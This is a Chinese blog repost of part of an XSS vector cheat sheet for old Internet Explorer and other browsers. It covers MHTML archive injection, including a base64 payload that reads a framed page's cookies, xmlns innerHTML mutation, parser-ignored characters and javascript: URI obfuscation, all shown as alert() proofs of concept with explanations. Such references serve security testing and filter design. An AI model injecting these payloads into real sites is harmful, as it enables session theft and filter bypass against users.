zoukankan      html  css  js  c++  java
  • XSS代码合集(含测试效果详细版)-HTML4与更早版本的向量2

    XSS代码合集(含测试效果详细版)-HTML4与更早版本的向量2

    通过MHTML方案执行JavaScript

    这个例子使用了使用mhtml URI方案将任何conent类型的文件转换为web归档文件来运行JavaScript的能力。2006年,Stepanishchev E.首次发现了这个特性,并在web开发人员中作为IE6-7的数据URI的替代品而闻名。2007年,Hasegawa Y.独立提出了一种在XSS中使用这种mhtml特性的方法。后续修复不完整,因为它没有考虑使用“!价值”。下面的示例中使用了这种可能性以及从存档内容访问主机域的可能性。

    使用此矢量,所有在源代码中不包含两行新行并允许用户插入新行的网站都易受攻击-以及所有允许用户上载图像而无需上载后转换等的网站。可以通过<IFRAME>或location.ref和comparable指定指向此web存档的链接。

    这个例子发布于2010年6月,fix发布于2011年4月。mhtml URI方案现在不确定内容类型,但是存档内容仍然可以访问主机域。

    <iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe>
    <iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>
    <html>
    <body>
    <b>some content without two new line 
    
    </b>
    Content-Type: multipart/related; boundary="******"<b>some content without two new line</b>
    --******
    Content-Location: xss.html
    Content-Transfer-Encoding: base64
    
    PGlmcmFtZSBuYW1lPWxvIHN0eWxlPWRpc3BsYXk6bm9uZT48L2lmcmFtZT4NCjxzY3JpcHQ+DQp1
    cmw9bG9jYXRpb24uaHJlZjtkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnbG8nKVswXS5zcmM9
    dXJsLnN1YnN0cmluZyg2LHVybC5pbmRleE9mKCcvJywxNSkpO3NldFRpbWVvdXQoImFsZXJ0KGZy
    YW1lc1snbG8nXS5kb2N1bWVudC5jb29raWUpIiwyMDAwKTsNCjwvc2NyaXB0PiAgICAg
    --******--
    </body>
    </html>
    crossdomain: 1
    path: http://html5sec.org/test.html
    name: test.html

    适用浏览器与版本

     

    测试效果

    暂无

    复制innerHTML时在自定义标记中使用“xmlns”属性的XSS(2)

    互联网浏览器不正确地分析了自定义标签中的“XMLNS”属性。XML:>namespace>without any delimiters.

    <!-- IE 5-9 -->
    <div id=d><x xmlns="><iframe onload=alert(1)"></div>
    <script>d.innerHTML+='';</script>
    
    <!-- IE 10 in IE5-9 Standards mode -->
    <div id=d><x xmlns='"><iframe onload=alert(2)//'></div>
    <script>d.innerHTML+='';</script>

    适用浏览器与版本

     

    测试效果

    暂无

    HTML分隔符和忽略字符

    [a] 作为标记名/属性分隔符接受的字符。

    Firefox、Internet Explorer、Safari、Google Chrome、Opera:9、10、12、13、32、47

    Internet Explorer(5-9 SM):11

    [b] 在属性之前忽略的字符(不接受作为参数/属性分隔符)。

    Firefox、Internet Explorer、Safari、Google Chrome、Opera:47

    Internet Explorer(5-9 SM):0**

    [c] 属性名和等号之间忽略的字符。

    Firefox、Internet Explorer、Safari、Google Chrome、Opera:9、10、12、13、32

    Internet Explorer(5-9 SM):0,11

    [d] 作为参数/属性分隔符接受的字符。

    Firefox、Internet Explorer、Safari、Google Chrome、Opera:9、10、12、13、32

    Internet Explorer(5-9 SM):11

    [e] 等号和参数之间忽略的字符。

    Firefox、Internet Explorer、Safari、Google Chrome、Opera:9、10、12、13、32

    Internet Explorer(5-9 SM):0,11

    *字符以十进制ASCII表索引的形式给出。

    *IE HTML解析器不存在未编码的空字符有一个共同的规则。

    <img[a][b]src=x[d]onerror[c]=[e]"alert(1)">

    适用浏览器与版本

     

    测试效果

    暂无

    在URI方案中忽略的字符

    以下字符*在URI sheme中被忽略:

    [A]

    所有提到的浏览器:9,10,13,32

    IE,GC,Safari,Opera:11,12

    IE、GC、Safari、FF 3.6.28≤:8

    IE、GC、Safari:1-7、14-31

    Opera:160576061588192-8202823282338239828712288

    Opera11.52≤:6159

    IE(5-9 SM):0

    [B] ,[C]

    IE, GC, Safari 4.0.3↓, FF 4-6, Opera 10.63↓: 9,10,13 GC 7↓, Safari 4.0.3↓: 1-8,11,12 IE (5-9 SM): 0 Safari 4.0.4↑, Opera 11↑, FF 7↑: nothing

    *字符以十进制ASCII表索引的形式给出。

    <a href="[a]java[b]script[c]:alert(1)">XXX</a>

    适用浏览器与版本

     

    测试效果

     

    Internet Explorer中通过不平衡引号强制明文

    如果属性分隔符不平衡,Internet Explorer会将任何标记视为纯文本—在本例中,这是由``引起的。在不平衡的引号出现在属性的内部或外部-前面是任意字符,但等号-在属性内部使用HTML是可能的,内容将呈现为常规HTML。已报告此问题,并将在稍后版本的Internet Explorer中解决。

    <img src="x` `<script>alert(1)</script>"` `>

    适用浏览器与版本

     

    测试效果

    暂无

  • 相关阅读:
    .Net2.0 中 Page 页面的事件触发顺序
    vs 中自带的代码混淆器 Dotfuscator (图)
    SqlHelper 中文注释版(值得收藏)
    (原创)用重载实现 treeview 的无限分类递归调用(图)
    通过前置代码指定嵌套中的 Repeater 事件!
    vs2008 中提高开发效率的一些快捷键
    强内聚,弱耦合
    也谈 SQL 注入攻击。
    ASP.NET 页面中动态加载用户控件
    ASP 调用存储过程,同时返回记录集和输出参数
  • 原文地址:https://www.cnblogs.com/R-S-PY/p/12222648.html
Copyright © 2011-2022 走看看